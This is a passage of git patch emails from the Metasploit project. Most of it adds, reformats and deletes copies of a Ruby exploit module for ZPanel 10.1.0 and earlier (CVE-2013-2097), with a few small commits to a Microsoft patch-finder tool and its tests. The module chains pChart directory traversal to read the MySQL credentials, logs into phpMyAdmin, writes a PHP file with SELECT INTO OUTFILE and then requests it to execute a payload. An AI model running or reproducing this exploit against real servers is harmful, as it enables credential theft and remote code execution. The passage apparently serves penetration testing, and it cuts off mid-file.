"phpmyadmin", "index.php"), + 'Referer' => "http://#{datastore['RHOST']}/etc/apps/phpmyadmin/", + 'cookie' => new_cookies, + 'vars_get' => { + 'token' => token + } + }) + + if res.code == 200 and res.body.to_s =~ /phpMyAdmin is more friendly with a/ + print_good("PHPMyAdmin login successful!") + return new_cookies, token + end + + end + + def do_sql(cookies, token, uri) + + fname = "#{rand_text_alpha_upper(5)}.php" + sql_stmt = "SELECT \"\" INTO OUTFILE \"/etc/zpanel/panel/#{fname}\"" + + res = send_request_cgi({ + 'method' => 'POST', + 'uri' => normalize_uri("etc", "apps", "phpmyadmin", "import.php"), + 'version' => '1.1', + 'cookie' => cookies, + 'ctype' => 'application/x-www-form-urlencoded; charset=UTF-8', + 'headers' => { + 'X-Requested-With' => "XMLHttpRequest", + 'Referer' => "http://#{datastore['RHOST']}/etc/apps/phpmyadmin/server_sql.php?token=#{token}" + }, + 'vars_post' => { + 'is_js_confirmed' => "0", + 'token' => token, + 'pos' => "0", + 'goto' => "server_sql.php", + 'message_to_show' => "Your+SQL+query+has+been+executed+successfully", + 'prev_sql_query' => "", + 'sql_query' => sql_stmt, + 'sql_delimiter' => ";", + 'show_query' => "1", + 'ajax_request' => "true", + '_nocache' => rand.to_s[2..19].to_i + }, + }) + + if res.body =~ /"success":true/ + print_good("'#{fname}' successfully uploaded") + + print_status("Executing '#{fname}' on the remote host") + + res = send_request_cgi({ + 'method' => 'GET', + 'uri' => normalize_uri("#{uri}", "#{fname}"), + 'version' => '1.1' + }) + + else + print_error("#{res.body.to_s}") + end + end + + def exploit + uri = target_uri.path + uri << '/' if uri[-1,1] != '/' + + peer = "#{rhost}:#{rport}" + + # Checking pChart + res = send_request_cgi({ + 'method' => 'GET', + 'uri' => normalize_uri("#{uri}", "etc", "lib", "pChart2", "examples", "index.php") + }) + + # if pChart is vuln version + if res.body =~ /pChart 2.x/ + db_info = dot_dot_slash(uri) + db_info = db_info.flatten + uname = db_info[0] + passwd = db_info[1] + db_name = db_info[2] + + if uname.length > 0 and passwd.length > 0 + print_good("Directory traversal successful, Username/Password identified!") + print_good("Username: #{uname.to_s}") + print_good("Password: #{passwd.to_s}") + print_good("DB Name: #{db_name.to_s}") + + cookies, token, sess_id = grab_sess_and_token(uri) + + print_status("Logging into PHPMyAdmin now") + cookies, token = login_phpmyadmin(uri, uname, passwd, cookies, token, sess_id) + + print_status("Uploading malicious payload now") + do_sql(cookies, token, uri) + + else + print_error("It appears that the directory traversal was unsuccessful...") + end + + else + print_error("It appears that the version of pChart is not vulnerable...") + end + + end +end From e226526dee1f39f9c99339d4d66a9d6a9a0d2c7b Mon Sep 17 00:00:00 2001 From: wchen-r7 Date: Fri, 2 Oct 2015 12:37:01 -0500 Subject: [PATCH 0819/2172] Update help --- tools/msu_finder.rb | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) diff --git a/tools/msu_finder.rb b/tools/msu_finder.rb index b17588bcda..73d305d5ca 100755 --- a/tools/msu_finder.rb +++ b/tools/msu_finder.rb @@ -528,8 +528,8 @@ module MicrosoftPatchFinder %Q| Usage: #{__FILE__} [options] - The following example will download all IE 10 update links: - #{__FILE__} -q "Internet Explorer 10" + The following example will download all IE update links: + #{__FILE__} -q "Internet Explorer" Searching advisories via Technet: When you submit a query, the Technet search engine will first look it up from a product list. @@ -578,7 +578,7 @@ module MicrosoftPatchFinder opt.separator '' opt.separator 'Specific options:' - opt.on('-q', '--query ', 'Regex keyword to search') do |v| + opt.on('-q', '--query ', 'Find advisories that include this keyword') do |v| options[:keyword] = v end @@ -593,7 +593,7 @@ module MicrosoftPatchFinder end end - opt.on('-r', '--regex ', '(Optional) Regex download links') do |v| + opt.on('-r', '--regex ', '(Optional) Specify what type of links you want') do |v| options[:regex] = v end From f97cd97fa507093e974d7899e48626e73b230ba8 Mon Sep 17 00:00:00 2001 From: wchen-r7 Date: Fri, 2 Oct 2015 12:45:17 -0500 Subject: [PATCH 0820/2172] Update documentation --- tools/msu_finder.rb | 12 +++++------- 1 file changed, 5 insertions(+), 7 deletions(-) diff --git a/tools/msu_finder.rb b/tools/msu_finder.rb index 73d305d5ca..3427590f19 100755 --- a/tools/msu_finder.rb +++ b/tools/msu_finder.rb @@ -81,6 +81,7 @@ module MicrosoftPatchFinder # @option rhost [String] :vhost # @option rhost [String] :ip IPv4 address # @param opts [Hash] Information about the Rex request. + # @raise [RuntimeError] Failure to make a request. # @return [Rex::Proto::Http::Response] def send_http_request(rhost, opts={}) res = nil @@ -532,13 +533,10 @@ module MicrosoftPatchFinder #{__FILE__} -q "Internet Explorer" Searching advisories via Technet: - When you submit a query, the Technet search engine will first look it up from a product list. - If there is more than one match found, then the script will collect all of the advisories. - For example, the current product list has Internet Explorer 10 and 9, and if the query is - "Internet Explorer", then it will return results for both of them. If there's no match found, - then the Technet search engine will try a more generic search that doesn't use the product list. - But keep in mind this tends to return irrelevant results. If the generic search function kicks - in, you can use it to search via the MSB, KB, or even the CVE number. + When you submit a query, the Technet search engine will first look it up from a product list, + and then return all the advisories that include the keyword you are looking for. If there's + no match from the product list, then the script will try a generic search. The generic method + also means you can search by MSB, KB, or even the CVE number. Searching advisories via Google: Searching via Google requires an API key and an Search Engine ID from Google. To obtain these, From c4bba0269c389bdef83f77d1d6a644c33fc3770e Mon Sep 17 00:00:00 2001 From: wchen-r7 Date: Fri, 2 Oct 2015 12:48:12 -0500 Subject: [PATCH 0821/2172] Change print_debug --- tools/msu_finder.rb | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/tools/msu_finder.rb b/tools/msu_finder.rb index 3427590f19..2365a2ea4d 100755 --- a/tools/msu_finder.rb +++ b/tools/msu_finder.rb @@ -725,10 +725,10 @@ module MicrosoftPatchFinder case args[:search_engine] when :technet - print_debug("Searching advisories for #{keyword} via Technet") + print_debug("Searching advisories that include #{keyword} via Technet") msb_numbers = technet_search(keyword) when :google - print_debug("Searching advisories for #{keyword} via Google") + print_debug("Searching advisories that include #{keyword} via Google") msb_numbers = google_search(keyword, api_key, cx) end From 1a781729d1ea6b1c6c81a99726b615ca4f719735 Mon Sep 17 00:00:00 2001 From: Fernando Arias Date: Fri, 2 Oct 2015 13:06:54 -0500 Subject: [PATCH 0822/2172] Bump ruby to 2.1.7 MSP-13364 --- .ruby-version | 2 +- .travis.yml | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/.ruby-version b/.ruby-version index 399088bf46..04b10b4f15 100644 --- a/.ruby-version +++ b/.ruby-version @@ -1 +1 @@ -2.1.6 +2.1.7 diff --git a/.travis.yml b/.travis.yml index c56870af06..9ab6060e67 100644 --- a/.travis.yml +++ b/.travis.yml @@ -25,7 +25,7 @@ script: - git diff --exit-code db/schema.rb && bundle exec rake $RAKE_TASKS sudo: false rvm: - - '2.1.6' + - '2.1.7' notifications: irc: "irc.freenode.org#msfnotify" From 9f71fd9bfd32c1d6a718c6a0becbf059c1aeeaab Mon Sep 17 00:00:00 2001 From: brent morris Date: Fri, 2 Oct 2015 14:23:07 -0400 Subject: [PATCH 0823/2172] Formatting ZPanel Exploit --- .../http/zpanel_information_disclosure_rce.rb | 54 +++++++++---------- 1 file changed, 25 insertions(+), 29 deletions(-) diff --git a/modules/exploits/multi/http/zpanel_information_disclosure_rce.rb b/modules/exploits/multi/http/zpanel_information_disclosure_rce.rb index 29d2b82510..ca70eb796a 100644 --- a/modules/exploits/multi/http/zpanel_information_disclosure_rce.rb +++ b/modules/exploits/multi/http/zpanel_information_disclosure_rce.rb @@ -2,35 +2,35 @@ require 'msf/core' require 'msf/core/exploit/php_exe' class Metasploit3 < Msf::Exploit::Remote - Rank = GreatRanking + Rank = GreatRanking - include Msf::Exploit::Remote::HttpClient - include Msf::Exploit::FileDropper - include Msf::Exploit::PhpEXE + include Msf::Exploit::Remote::HttpClient + include Msf::Exploit::FileDropper + include Msf::Exploit::PhpEXE - def initialize(info = {}) - super(update_info(info, - 'Name' => 'Zpanel Remote Unauthenticated RCE', - 'Description' => %q{ - This module exploits an information disclosure vulnerability - found in Zpanel <= 10.1.0. The vulnerability exposed due to a - vulnerable version of pChart allowing remote, unauthenticated, - users to read arbitrary files found on the filesystem. This - particular module utilizes this vulnerability to identify the - username/password combination of the MySQL instance. With the - credentials the attackers can login to PHPMyAdmin and execute - SQL commands to drop a malicious payload on the filesystem and - call it leading to remote code execution. - }, - 'Author' => [ - 'dawn isabel', #dawn.isabel[at]gmail.com - 'brad wolfe', #brad.wolfe[at]gmail.com - 'brent morris', #inkrypto[at]gmail.com - 'james fitts' #fitts.james[at]gmail.com - ], + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Zpanel Remote Unauthenticated RCE', + 'Description' => %q{ + This module exploits an information disclosure vulnerability + found in Zpanel <= 10.1.0. The vulnerability exposed due to a + vulnerable version of pChart allowing remote, unauthenticated, + users to read arbitrary files found on the filesystem. This + particular module utilizes this vulnerability to identify the + username/password combination of the MySQL instance. With the + credentials the attackers can login to PHPMyAdmin and execute + SQL commands to drop a malicious payload on the filesystem and + call it leading to remote code execution. + }, + 'Author' => [ + 'dawn isabel', #dawn.isabel[at]gmail.com + 'brad wolfe', #brad.wolfe[at]gmail.com + 'brent morris', #inkrypto[at]gmail.com + 'james fitts' #fitts.james[at]gmail.com + ], 'License' => MSF_LICENSE, 'References' => - [ + [ [ 'CVE', '2013-2097' ], [ 'EDB', '31173' ], # pChart [ 'OSVDB', '102595' ], # pChart @@ -76,7 +76,6 @@ class Metasploit3 < Msf::Exploit::Remote dbname = res.body.scan(/(?<=\$dbname <\/span>= <\/span>')[A-Za-z0-9_]+/) return uname, passwd, dbname - end def grab_sess_and_token(uri) @@ -121,7 +120,6 @@ class Metasploit3 < Msf::Exploit::Remote else print_error("PHPSESSID could not be identified...") end - end def login_phpmyadmin(uri, uname, passwd, cookies, token, sess_id) @@ -175,7 +173,6 @@ class Metasploit3 < Msf::Exploit::Remote print_good("PHPMyAdmin login successful!") return new_cookies, token end - end def do_sql(cookies, token, uri) @@ -265,6 +262,5 @@ class Metasploit3 < Msf::Exploit::Remote else print_error("It appears that the version of pChart is not vulnerable...") end - end end From 6406a66bc036ac5e65c00b2d11546c8f8a5d827e Mon Sep 17 00:00:00 2001 From: brent morris Date: Fri, 2 Oct 2015 14:24:46 -0400 Subject: [PATCH 0824/2172] Remove Ranking --- modules/exploits/multi/http/zpanel_information_disclosure_rce.rb | 1 - 1 file changed, 1 deletion(-) diff --git a/modules/exploits/multi/http/zpanel_information_disclosure_rce.rb b/modules/exploits/multi/http/zpanel_information_disclosure_rce.rb index ca70eb796a..0865c7d93b 100644 --- a/modules/exploits/multi/http/zpanel_information_disclosure_rce.rb +++ b/modules/exploits/multi/http/zpanel_information_disclosure_rce.rb @@ -2,7 +2,6 @@ require 'msf/core' require 'msf/core/exploit/php_exe' class Metasploit3 < Msf::Exploit::Remote - Rank = GreatRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::FileDropper From 4ee7ba05aa2e2f5d38923e3bc4f3ad2c43278151 Mon Sep 17 00:00:00 2001 From: brent morris Date: Fri, 2 Oct 2015 14:31:46 -0400 Subject: [PATCH 0825/2172] Removing hard tabs test --- modules/exploits/multi/http/test.rb | 265 ++++++++++++++++++++++++++++ 1 file changed, 265 insertions(+) create mode 100644 modules/exploits/multi/http/test.rb diff --git a/modules/exploits/multi/http/test.rb b/modules/exploits/multi/http/test.rb new file mode 100644 index 0000000000..cfdecfb7cf --- /dev/null +++ b/modules/exploits/multi/http/test.rb @@ -0,0 +1,265 @@ +require 'msf/core' +require 'msf/core/exploit/php_exe' + +class Metasploit3 < Msf::Exploit::Remote + + include Msf::Exploit::Remote::HttpClient + include Msf::Exploit::FileDropper + include Msf::Exploit::PhpEXE + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Zpanel Remote Unauthenticated RCE', + 'Description' => %q{ + This module exploits an information disclosure vulnerability + found in Zpanel <= 10.1.0. The vulnerability exposed due to a + vulnerable version of pChart allowing remote, unauthenticated, + users to read arbitrary files found on the filesystem. This + particular module utilizes this vulnerability to identify the + username/password combination of the MySQL instance. With the + credentials the attackers can login to PHPMyAdmin and execute + SQL commands to drop a malicious payload on the filesystem and + call it leading to remote code execution. + }, + 'Author' => [ + 'dawn isabel', #dawn.isabel[at]gmail.com + 'brad wolfe', #brad.wolfe[at]gmail.com + 'brent morris', #inkrypto[at]gmail.com + 'james fitts' #fitts.james[at]gmail.com + ], + 'License' => MSF_LICENSE, + 'References' => + [ + [ 'CVE', '2013-2097' ], + [ 'EDB', '31173' ], # pChart + [ 'OSVDB', '102595' ], # pChart + [ 'URL', 'http://bugs.zpanelcp.com/view.php?id=665' ], + [ 'URL', 'http://seclists.org/fulldisclosure/2013/Jun/39' ], + [ 'URL', 'http://www.reddit.com/r/netsec/comments/1ee0eg/zpanel_support_team_calls_forum_user_fucken/' ] + ], + 'Payload' => + { + 'BadChars' => "\x00", + }, + 'Platform' => 'php', + 'Arch' => ARCH_PHP, + 'Targets' => + [ + [ 'Generic (PHP Payload)', { 'Arch' => ARCH_PHP, 'Platform' => 'php' } ], + [ 'Linux x86' , { 'Arch' => ARCH_X86, 'Platform' => 'linux' } ] + ], + 'DefaultTarget' => 0, + 'DisclosureDate' => 'Jan 30 2014')) + + register_options( + [ + OptString.new('TARGETURI', [true, 'The base path to Zpanel', '/zpanel']) + ], self.class) + end + + def dot_dot_slash(uri) + res = send_request_cgi({ + 'method' => 'get', + 'uri' => normalize_uri("#{uri}", "etc", "lib", "pChart2", "examples", "index.php"), + 'vars_get' => { + 'Action' => 'View', + 'Script' => '../../../../cnf/db.php' + }, + 'version' => "1.1", + }) + + uname = res.body.scan(/(?<=\$user <\/span>= <\/span>')[A-Za-z0-9]+/) + + passwd = res.body.scan(/(?<=\$pass <\/span>= <\/span>')[A-Za-z0-9@#\$\%\^\&\+=_]+/) + + dbname = res.body.scan(/(?<=\$dbname <\/span>= <\/span>')[A-Za-z0-9_]+/) + + return uname, passwd, dbname + end + + def grab_sess_and_token(uri) + + print_status("Attempting to get PHPSESSIONID") + res = send_request_cgi({ + 'method' => 'GET', + 'uri' => normalize_uri("#{uri}"), + 'version' => '1.1' + }) + + sess_id = "#{res.headers['Set-Cookie'].to_s.scan(/(?<=PHPSESSID=)[A-Za-z0-9]+/)}" + sess_id = sess_id[2..-3] + + if sess_id.length > 0 + print_good("PHPSESSID identified!") + print_good("PHPSESSID = #{sess_id}") + + print_status("Attempting to get CSRF token") + res = send_request_cgi({ + 'method' => 'GET', + 'uri' => normalize_uri("#{uri}", "etc", "apps", "phpmyadmin", "index.php"), + 'version' => '1.1', + 'Cookie' => "PHPSESSID=#{sess_id}" + }) + + token = "#{res.body.to_s.scan(/(?<=name\="token" value\=")[A-Za-z0-9]+/)}" + token = token.to_s[2..-3] + token = token[0..31] + cookies = res.get_cookies + + cookies = cookies.split("; ") + cookies = "#{cookies[-1]} #{cookies[1]}; #{cookies[2]}; #{cookies[3]}; PHPSESSID=#{sess_id}" + + if token.length > 0 + print_good("CSRF token identified!") + print_good("CSRF token = #{token}") + return cookies, token, sess_id + else + print_error("CSRF token could not be identified...") + end + else + print_error("PHPSESSID could not be identified...") + end + end + + def login_phpmyadmin(uri, uname, passwd, cookies, token, sess_id) + old_cookies = cookies + + res = send_request_cgi({ + 'method' => 'POST', + 'uri' => normalize_uri("etc", "apps", "phpmyadmin", "index.php"), + 'cookie' => cookies, + 'ctype' => "application/x-www-form-urlencoded", + 'headers' => { + 'Referer' => "http://#{datastore['RHOST']}/etc/apps/phpmyadmin/", + }, + 'vars_post' => { + 'pma_username' => uname, + 'pma_password' => passwd, + 'server' => "1", + 'lang' => "en", + 'collation_connection' => "utf8_general_ci", + 'token' => token + } + }) + + cookies = "#{res.get_cookies}" + + old_cookies = old_cookies.split("; ") + cookies = cookies.split("; ") + + new_cookies = "#{old_cookies[0]}; " + new_cookies << "#{old_cookies[1]}; " + new_cookies << "#{old_cookies[2]}; " + new_cookies << "#{old_cookies[3]}; " + new_cookies << "#{cookies[0]}; " + new_cookies << "#{cookies[1]} " + new_cookies << "PHPSESSID=#{sess_id}" + + token = res['Location'].to_s.scan(/(?<=token\=)[A-Za-z0-9]+/) + token = token.to_s[2..-3] + + res = send_request_cgi({ + 'method' => 'GET', + 'uri' => normalize_uri("etc", "apps", "phpmyadmin", "index.php"), + 'Referer' => "http://#{datastore['RHOST']}/etc/apps/phpmyadmin/", + 'cookie' => new_cookies, + 'vars_get' => { + 'token' => token + } + }) + + if res.code == 200 and res.body.to_s =~ /phpMyAdmin is more friendly with a/ + print_good("PHPMyAdmin login successful!") + return new_cookies, token + end + end + + def do_sql(cookies, token, uri) + + fname = "#{rand_text_alpha_upper(5)}.php" + sql_stmt = "SELECT \"\" INTO OUTFILE \"/etc/zpanel/panel/#{fname}\"" + + res = send_request_cgi({ + 'method' => 'POST', + 'uri' => normalize_uri("etc", "apps", "phpmyadmin", "import.php"), + 'version' => '1.1', + 'cookie' => cookies, + 'ctype' => 'application/x-www-form-urlencoded; charset=UTF-8', + 'headers' => { + 'X-Requested-With' => "XMLHttpRequest", + 'Referer' => "http://#{datastore['RHOST']}/etc/apps/phpmyadmin/server_sql.php?token=#{token}" + }, + 'vars_post' => { + 'is_js_confirmed' => "0", + 'token' => token, + 'pos' => "0", + 'goto' => "server_sql.php", + 'message_to_show' => "Your+SQL+query+has+been+executed+successfully", + 'prev_sql_query' => "", + 'sql_query' => sql_stmt, + 'sql_delimiter' => ";", + 'show_query' => "1", + 'ajax_request' => "true", + '_nocache' => rand.to_s[2..19].to_i + }, + }) + + if res.body =~ /"success":true/ + print_good("'#{fname}' successfully uploaded") + + print_status("Executing '#{fname}' on the remote host") + + res = send_request_cgi({ + 'method' => 'GET', + 'uri' => normalize_uri("#{uri}", "#{fname}"), + 'version' => '1.1' + }) + + else + print_error("#{res.body.to_s}") + end + end + + def exploit + uri = target_uri.path + uri << '/' if uri[-1,1] != '/' + + peer = "#{rhost}:#{rport}" + + # Checking pChart + res = send_request_cgi({ + 'method' => 'GET', + 'uri' => normalize_uri("#{uri}", "etc", "lib", "pChart2", "examples", "index.php") + }) + + # if pChart is vuln version + if res.body =~ /pChart 2.x/ + db_info = dot_dot_slash(uri) + db_info = db_info.flatten + uname = db_info[0] + passwd = db_info[1] + db_name = db_info[2] + + if uname.length > 0 and passwd.length > 0 + print_good("Directory traversal successful, Username/Password identified!") + print_good("Username: #{uname.to_s}") + print_good("Password: #{passwd.to_s}") + print_good("DB Name: #{db_name.to_s}") + + cookies, token, sess_id = grab_sess_and_token(uri) + + print_status("Logging into PHPMyAdmin now") + cookies, token = login_phpmyadmin(uri, uname, passwd, cookies, token, sess_id) + + print_status("Uploading malicious payload now") + do_sql(cookies, token, uri) + + else + print_error("It appears that the directory traversal was unsuccessful...") + end + + else + print_error("It appears that the version of pChart is not vulnerable...") + end + end +end From 33ea5fdd12e396abe401a00e37056128bc1b84da Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Fri, 2 Oct 2015 13:32:32 -0500 Subject: [PATCH 0826/2172] Use named subjects --- spec/tools/msu_finder_spec.rb | 72 +++++++++++++++++------------------ 1 file changed, 36 insertions(+), 36 deletions(-) diff --git a/spec/tools/msu_finder_spec.rb b/spec/tools/msu_finder_spec.rb index d9ef3770ba..d85dce3d2c 100644 --- a/spec/tools/msu_finder_spec.rb +++ b/spec/tools/msu_finder_spec.rb @@ -83,7 +83,7 @@ describe MicrosoftPatchFinder do fake.string end - subject do + subject(:object_helper) do mod = Object.new mod.extend MicrosoftPatchFinder::Helper mod @@ -91,21 +91,21 @@ describe MicrosoftPatchFinder do describe '#print_debug' do it 'prints a [DEBUG] message' do - output = get_stderr { subject.print_debug } + output = get_stderr { object_helper.print_debug } expect(output).to include('[DEBUG]') end end describe '#print_status' do it 'prints a [*] message' do - output = get_stderr { subject.print_status } + output = get_stderr { object_helper.print_status } expect(output).to include('[*]') end end describe '#print_error' do it 'prints an [ERROR] message' do - output = get_stderr { subject.print_error } + output = get_stderr { object_helper.print_error } expect(output).to include('[ERROR]') end end @@ -113,15 +113,15 @@ describe MicrosoftPatchFinder do describe '#print_line' do it 'prints a regular message' do msg = 'TEST' - output = get_stdout { subject.print_line(msg) } + output = get_stdout { object_helper.print_line(msg) } expect(output).to eq("#{msg}\n") end end describe '#send_http_request' do it 'returns a Rex::Proto::Http::Response object' do - allow(subject).to receive(:print_debug) - res = subject.send_http_request(MicrosoftPatchFinder::SiteInfo::TECHNET) + allow(object_helper).to receive(:print_debug) + res = object_helper.send_http_request(MicrosoftPatchFinder::SiteInfo::TECHNET) expect(res).to be_kind_of(Rex::Proto::Http::Response) end end @@ -200,17 +200,17 @@ describe MicrosoftPatchFinder do | end - subject do + subject(:patch_link_collector) do MicrosoftPatchFinder::PatchLinkCollector.new end before(:each) do - allow(subject).to receive(:print_debug) + allow(patch_link_collector).to receive(:print_debug) end describe '#download_advisory' do it 'returns a Rex::Proto::Http::Response object' do - res = subject.download_advisory('ms15-100') + res = patch_link_collector.download_advisory('ms15-100') expect(res).to be_kind_of(Rex::Proto::Http::Response) end end @@ -219,25 +219,25 @@ describe MicrosoftPatchFinder do it 'returns a pattern for ms15-100' do expected_pattern = '//div[@id="mainBody"]//div//div[@class="sectionblock"]//table//a' - p = subject.get_appropriate_pattern(::Nokogiri::HTML(ms15_100_html)) + p = patch_link_collector.get_appropriate_pattern(::Nokogiri::HTML(ms15_100_html)) expect(p).to eq(expected_pattern) end it 'returns a pattern for ms07-029' do expected_pattern = '//div[@id="mainBody"]//ul//li//a[contains(text(), "Download the update")]' - p = subject.get_appropriate_pattern(::Nokogiri::HTML(ms07_029_html)) + p = patch_link_collector.get_appropriate_pattern(::Nokogiri::HTML(ms07_029_html)) expect(p).to eq(expected_pattern) end it 'returns a pattern for ms03-039' do expected_pattern = '//div[@id="mainBody"]//div//div[@class="sectionblock"]//ul//li//a' - p = subject.get_appropriate_pattern(::Nokogiri::HTML(ms03_039_html)) + p = patch_link_collector.get_appropriate_pattern(::Nokogiri::HTML(ms03_039_html)) expect(p).to eq(expected_pattern) end it 'returns a pattern for ms07-030' do expected_pattern = '//div[@id="mainBody"]//table//a' - p = subject.get_appropriate_pattern(::Nokogiri::HTML(ms07_030_html)) + p = patch_link_collector.get_appropriate_pattern(::Nokogiri::HTML(ms07_030_html)) expect(p).to eq(expected_pattern) end end @@ -250,7 +250,7 @@ describe MicrosoftPatchFinder do end it 'returns an URI object to a details aspx' do - links = subject.get_details_aspx(details_aspx) + links = patch_link_collector.get_details_aspx(details_aspx) expected_uri = 'https://www.microsoft.com/downloads/details.aspx?familyid=1' expect(links.length).to eq(1) expect(links.first).to be_kind_of(URI) @@ -276,14 +276,14 @@ describe MicrosoftPatchFinder do allow(cli).to receive(:send_recv).and_return(http_res) allow(Rex::Proto::Http::Client).to receive(:new).and_return(cli) - expect(subject.follow_redirect(technet, http_res).headers).to eq(expected_header) + expect(patch_link_collector.follow_redirect(technet, http_res).headers).to eq(expected_header) end end describe '#get_download_page' do it 'returns a Rex::Proto::Http::Response object' do uri = URI('http://www.example.com/') - expect(subject.get_download_page(uri)).to be_kind_of(Rex::Proto::Http::Response) + expect(patch_link_collector.get_download_page(uri)).to be_kind_of(Rex::Proto::Http::Response) end end @@ -319,14 +319,14 @@ describe MicrosoftPatchFinder do allow(cli).to receive(:send_recv).and_return(download_html_res) allow(Rex::Proto::Http::Client).to receive(:new).and_return(cli) - expect(subject.get_download_links(confirm_aspx).first).to eq(expected_link) + expect(patch_link_collector.get_download_links(confirm_aspx).first).to eq(expected_link) end end describe '#has_advisory?' do it 'returns true if the page is found' do res = Rex::Proto::Http::Response.new - expect(subject.has_advisory?(res)).to be_truthy + expect(patch_link_collector.has_advisory?(res)).to be_truthy end it 'returns false if the page is not found' do @@ -338,7 +338,7 @@ describe MicrosoftPatchFinder do res = Rex::Proto::Http::Response.new allow(res).to receive(:body).and_return(html) - expect(subject.has_advisory?(res)).to be_falsey + expect(patch_link_collector.has_advisory?(res)).to be_falsey end end @@ -352,11 +352,11 @@ describe MicrosoftPatchFinder do end it 'returns true if the MSB format is correct' do - expect(subject.is_valid_msb?(good_msb)).to be_truthy + expect(patch_link_collector.is_valid_msb?(good_msb)).to be_truthy end it 'returns false if the MSB format is incorrect' do - expect(subject.is_valid_msb?(bad_msb)).to be_falsey + expect(patch_link_collector.is_valid_msb?(bad_msb)).to be_falsey end end @@ -365,7 +365,7 @@ describe MicrosoftPatchFinder do describe MicrosoftPatchFinder::TechnetMsbSearch do - subject do + subject(:technet_msb_search) do MicrosoftPatchFinder::TechnetMsbSearch.new end @@ -425,7 +425,7 @@ describe MicrosoftPatchFinder do describe '#find_msb_numbers' do it 'returns an array of found MSB numbers' do - msb = subject.find_msb_numbers(ie10) + msb = technet_msb_search.find_msb_numbers(ie10) expect(msb).to be_kind_of(Array) expect(msb.first).to eq('ms15-100') end @@ -433,7 +433,7 @@ describe MicrosoftPatchFinder do describe '#search' do it 'returns search results in JSON format' do - results = subject.search(ie10) + results = technet_msb_search.search(ie10) expect(results).to be_kind_of(Hash) expect(results['b'].first['Id']).to eq('MS15-100') end @@ -441,7 +441,7 @@ describe MicrosoftPatchFinder do describe '#search_by_product_ids' do it 'returns an array of found MSB numbers' do - results = subject.search_by_product_ids([ie10_id]) + results = technet_msb_search.search_by_product_ids([ie10_id]) expect(results).to be_kind_of(Array) expect(results.first).to eq('ms15-100') end @@ -449,7 +449,7 @@ describe MicrosoftPatchFinder do describe '#search_by_keyword' do it 'returns an array of found MSB numbers' do - results = subject.search_by_keyword('ms15-100') + results = technet_msb_search.search_by_keyword('ms15-100') expect(results).to be_kind_of(Array) expect(results.first).to eq('ms15-100') end @@ -457,7 +457,7 @@ describe MicrosoftPatchFinder do describe '#get_product_dropdown_list' do it 'returns an array of products' do - results = subject.get_product_dropdown_list + results = technet_msb_search.get_product_dropdown_list expect(results).to be_kind_of(Array) expect(results.first).to be_kind_of(Hash) expected_hash = {:option_value=>"10175", :option_text=>"Active Directory"} @@ -469,7 +469,7 @@ describe MicrosoftPatchFinder do describe MicrosoftPatchFinder::GoogleMsbSearch do - subject do + subject(:google_msb_search) do MicrosoftPatchFinder::GoogleMsbSearch.new end @@ -571,7 +571,7 @@ describe MicrosoftPatchFinder do describe '#find_msb_numbers' do it 'returns an array of msb numbers' do - results = subject.find_msb_numbers(expected_msb) + results = google_msb_search.find_msb_numbers(expected_msb) expect(results).to be_kind_of(Array) expect(results).to eq([expected_msb]) end @@ -579,7 +579,7 @@ describe MicrosoftPatchFinder do describe '#search' do it 'returns a hash (json data)' do - results = subject.search(starting_index: 1) + results = google_msb_search.search(starting_index: 1) expect(results).to be_kind_of(Hash) end end @@ -589,21 +589,21 @@ describe MicrosoftPatchFinder do res = Rex::Proto::Http::Response.new allow(res).to receive(:body).and_return(json_data) - results = subject.parse_results(res) + results = google_msb_search.parse_results(res) expect(results).to be_kind_of(Hash) end end describe '#get_total_results' do it 'returns a fixnum' do - total = subject.get_total_results(JSON.parse(json_data)) + total = google_msb_search.get_total_results(JSON.parse(json_data)) expect(total).to be_kind_of(Fixnum) end end describe '#get_next_index' do it 'returns a fixnum' do - i = subject.get_next_index(JSON.parse(json_data)) + i = google_msb_search.get_next_index(JSON.parse(json_data)) expect(i).to be_kind_of(Fixnum) end end @@ -633,13 +633,13 @@ describe MicrosoftPatchFinder do allow_any_instance_of(MicrosoftPatchFinder::PatchLinkCollector).to receive(:print_error) end - subject do + subject(:driver) do MicrosoftPatchFinder::Driver.new end describe '#get_download_links' do it 'returns an array of links' do - results = subject.get_download_links(msb) + results = driver.get_download_links(msb) expect(results).to be_kind_of(Array) expect(results.first).to eq(expected_link) end From 5eff3e5637ee4164cb51585290afe2e09fc9179b Mon Sep 17 00:00:00 2001 From: brent morris Date: Fri, 2 Oct 2015 14:34:00 -0400 Subject: [PATCH 0827/2172] Removed hard tabs --- modules/exploits/multi/http/test.rb | 265 --------- .../http/zpanel_information_disclosure_rce.rb | 530 +++++++++--------- 2 files changed, 265 insertions(+), 530 deletions(-) delete mode 100644 modules/exploits/multi/http/test.rb diff --git a/modules/exploits/multi/http/test.rb b/modules/exploits/multi/http/test.rb deleted file mode 100644 index cfdecfb7cf..0000000000 --- a/modules/exploits/multi/http/test.rb +++ /dev/null @@ -1,265 +0,0 @@ -require 'msf/core' -require 'msf/core/exploit/php_exe' - -class Metasploit3 < Msf::Exploit::Remote - - include Msf::Exploit::Remote::HttpClient - include Msf::Exploit::FileDropper - include Msf::Exploit::PhpEXE - - def initialize(info = {}) - super(update_info(info, - 'Name' => 'Zpanel Remote Unauthenticated RCE', - 'Description' => %q{ - This module exploits an information disclosure vulnerability - found in Zpanel <= 10.1.0. The vulnerability exposed due to a - vulnerable version of pChart allowing remote, unauthenticated, - users to read arbitrary files found on the filesystem. This - particular module utilizes this vulnerability to identify the - username/password combination of the MySQL instance. With the - credentials the attackers can login to PHPMyAdmin and execute - SQL commands to drop a malicious payload on the filesystem and - call it leading to remote code execution. - }, - 'Author' => [ - 'dawn isabel', #dawn.isabel[at]gmail.com - 'brad wolfe', #brad.wolfe[at]gmail.com - 'brent morris', #inkrypto[at]gmail.com - 'james fitts' #fitts.james[at]gmail.com - ], - 'License' => MSF_LICENSE, - 'References' => - [ - [ 'CVE', '2013-2097' ], - [ 'EDB', '31173' ], # pChart - [ 'OSVDB', '102595' ], # pChart - [ 'URL', 'http://bugs.zpanelcp.com/view.php?id=665' ], - [ 'URL', 'http://seclists.org/fulldisclosure/2013/Jun/39' ], - [ 'URL', 'http://www.reddit.com/r/netsec/comments/1ee0eg/zpanel_support_team_calls_forum_user_fucken/' ] 